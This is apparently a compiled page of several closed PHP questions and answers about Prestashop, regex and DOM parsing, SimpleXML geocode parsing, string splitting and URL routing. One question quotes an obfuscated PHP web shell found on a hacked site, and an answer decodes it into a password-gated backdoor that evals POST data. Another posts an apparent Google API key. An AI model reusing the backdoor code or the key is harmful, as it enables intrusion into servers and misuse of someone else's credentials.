Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
I'm trying to add tinymce to the category block in Prestashop. (1.4.7.3)
I found following snippet which should do the trick, but I get some errors.
<?php
class Category extends CategoryCore
{
public function getTranslationsFieldsChild() {
self::validateFieldsLang();
$fieldsArray = array('name', 'link_rewrite', 'meta_title', 'meta_keywords', 'meta_description');
$fields = array();
$languages = Language::getLanguages();
$defaultLanguage = Configuration::get('PS_LANG_DEFAULT');
foreach ($languages as $language)
{
$fields[$language['id_lang']]['id_lang'] = $language['id_lang'];
$fields[$language['id_lang']][$this->identifier] = intval($this->id);
$fields[$language['id_lang']]['description'] = (isset($this->description[$language['id_lang']])) ? Tools::htmlentitiesDecodeUTF8(pSQL($this->description[$language['id_lang']], true)) : '';
foreach ($fieldsArray as $field)
{
if (!Validate::isTableOrIdentifier($field))
die(Tools::displayError());
__regexoperators___ /*Check fields validity */
if (isset($this->{$field}[$language['id_lang']]) AND !empty($this->{$field}[$language['id_lang']]))
$fields[$language['id_lang']][$field] = pSQL($this->{$field}[$language['id_lang']]);
elseif (in_array($field, $this->fieldsRequiredLang))
$fields[$language['id_lang']][$field] = pSQL($this->{$field}[$defaultLanguage]);
else
$fields[$language['id_lang']][$field] = '';
}
}
return $fields;
}
}
I was wondering what the
__regexoperators___
does exactly.
Is it possible that my version of php doesn't know what to do with the "__ "?
Could I replace the "__" with a function call?
thanks in advance
It doesn't do anything in this case. It's just a byproduct of using the jQuery Litelighter plugin to highlight snippets of code on the blog post you've copy/pasted that code from.
If you're going to search the same code snippet in the HTML source, i.e. without syntax highlighting, you'll see that __regexoperators___ doesn't appear there.
Taking a look at the jQuery Litelighter plugin source code will also show that they're using underscore separated markers for their parsing.
Related
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 2 years ago.
Improve this question
<a data-track='' _sp= class=s-item__link href=get_this_href>...</a>
With the above link, the data-track contains some json data. The _sp= could contain numbers/letters and a period (.). The class is s-item__link.
I would need the get_this_href and then I can go from there.
This is the regex I tried... but im stuck from here.
<a\b(?=[^>]* class="[^"]*(?<=[" ])s-item__link[" ])(?=[^>]* href="([^"]*))
Here is an example: https://regex101.com/r/rVPeUI/1
$link = ""; //url im scraping
$html = file_get_html($link);
//find is part of simple_html_dom.php. im saying each li item is an $item.
foreach ($html->find('li.s-item ') as $item) {
//$item contains the decent amount of nested divs with spans and links.
}
Without using Regex, its better to use DOMDocument() to parse HTML tags:
$doc = DOMDocument::loadHTML($html);
$xpath = new DOMXPath($doc);
$query = "//a[#class='s-item__link']";
$entries = $xpath->query($query);
foreach ($entries as $entry) {
echo "HREF " . $entry->getAttribute("href");
}
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 4 years ago.
Improve this question
I have a xml with more subcategory.
I want extract in Php the “long_name” where type is “adminkstrative_area_level_3”
How I can do?
This is my xml https://ibb.co/fY27bJ
I tried but don’t work
<?
$string_data = "https://maps.googleapis.com/maps/api/geocode/xml?latlng=41.51,15.16&key=AIzaSyClG_vc2nkQCzXqvDzW1maPrUWLyADI7xI";
$xml = simplexml_load_string($string_data);
$citta = (string) $xml->result[0]->address_component[3]->long_name;
echo "<p>".$citta."</p>";
?>
You are missing geoname in $xml-> name;
Try it like this:
$xml = simplexml_load_string($string_data);
$citta = (string)$xml->geoname->name;
echo $citta;
Demo Php
If you want to loop through mulitple items you could use:
foreach ($xml->geoname as $item) {
echo $item->name;
}
Update:
For the updated part you could use the same technique:
$xml = simplexml_load_file("https://maps.googleapis.com/maps/api/geocode/xml?latlng=41.51,15.16&key=AIzaSyClG_vc2nkQCzXqvDzW1maPrUWLyADI7xI");
foreach ($xml->result as $item) {
if ((string)$item->type === "administrative_area_level_3") {
echo $item->address_component->long_name;
}
}
Or by index [1]:
echo $xml->result[1]->address_component->long_name;
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 7 years ago.
Improve this question
Just a quick question....
I found a malicious file on a site (since removed) but I'm wondering what it's doing. Below is the code, any insight would be greatly appreciated.
function myfunc () {
$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';
$_myfunc2 = "\x63\x68\x72";
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));
$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");
$_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65");
$_g1qm5($_g1qm3('e'.$_g1qm2(47).'*./'),"#$_g1qm6($_g1qm4(\"JGxvZyA9ICdwcnQnOyBpZiAoIWlzc2V0KCRfU0VTU0lPTikpIHsgCXNlc3Npb25fc3RhcnQoKTsgfSBpZiAoaXNzZXQoJF9TRVNTSU9OWydsb2cnXSkgJiYgKCRfU0VTU0lPTlsnbG9nJ10gPT0gJGxvZykpIHsgCWlmIChpc3NldCgkX1BPU1RbJ210cSddKSkgeyAgCQkkcHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnbXRxJ10pOyAJCWV2YWwoJHB0KTsgCQlleGl0OyAJfSB9IGlmIChpc3NldCgkX1BPU1RbJ3B3eCddKSAmJiAobWQ1KCRfUE9TVFsncHd4J10pID09ICRfZzFxbTEpKSB7IAkkX1NFU1NJT05bJ2xvZyddID0gJGxvZzsgCWV4aXQ7IH0K\"))",'');} #_g1qm0();
}
This code is not complete but from what I've decoded it is:
$log = 'prt';
if (!isset($_SESSION)) {
session_start();
}
if (isset($_SESSION['log']) && ($_SESSION['log'] == $log)) {
if (isset($_POST['mtq'])) {
$pt = base64_decode($_POST['mtq']);
eval($pt);
exit;
}
}
if (isset($_POST['pwx']) && (md5($_POST['pwx']) == $_g1qm1)) {
$_SESSION['log'] = $log; exit;
}
So in simple words it looks from mtq param from POST request and executes it in shell. Data comes in base64 encoded format. It also stores one variable in session on key log
Also
$_myfunc2 = "\x63\x68\x72"; it is decoded to chr which is function in PHP that returns character based on ASCII code.
$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';
looks like md5 hash but I'm not sure
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);
It is $_g1qm3 is strrev function
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));
It is base64_decode()
$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");
It's preg_replace()
$_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65")
It's eval()
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
Well I am trying to make a simple php system.
Anywise I need to separate the text when I want to add it to the database.
So for example I want to add:
abc:123
I want that the : will be the separater, so it'll look like this:
abc
123
And then both will go to a different table.
Could someone help me with this? As I am not an experience PHP coder, yet I am willing to learn how to do this.
Kind regards
This is pretty basic stuff..
$data = explode(':','abc:123');
foreach($data as $word)
{
// some code here
}
Use Split:
<?php
$data = "abc:123";
list ($var1, $var2) = split (':', $data);
echo "Var1: $var1; Var2: $var2;<br />\n";
?>
You can achieve this using explode.
abc:123
Is a string. Let's define it as a variable:
$origin = "abc:123";
You can split the string, using : as the separator.
$separator = ":";
$exploded = explode($separator, $origin);
Now you have an array which you can use to access abc and 123 individually.
$pre = $exploded[0];
$post = $exploded[1];
You don't know how many splits there will be?
That's okay. Your array simply increases, meaning you can simply loop through the array and handle the values.
foreach ($exploded as $split)
{
// Do something with $split
}
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
must create a rule that captures the first preg_replace bar url:
http://localhost/item/other
must take the rule just 'item' regardless of what comes after
You should use the php parse_url() function
An example would be:
$parts = parse_url("http://localhost/item/other");
$path_parts= explode('/', $parts[path]);
$item = $path_parts[1];
echo $item;
It does not look like you have a specific question. I am assuming you are about write some routes script.
$request_uri = explode('/', $_SERVER['REQUEST_URI']);
$delimiter = array_shift($request_uri);
$controller = array_shift($request_uri);
$action = array_shift($request_uri);
if(preg_match('/item/i', $controller))
{
// do something right
}
else
{
// do something wrong
}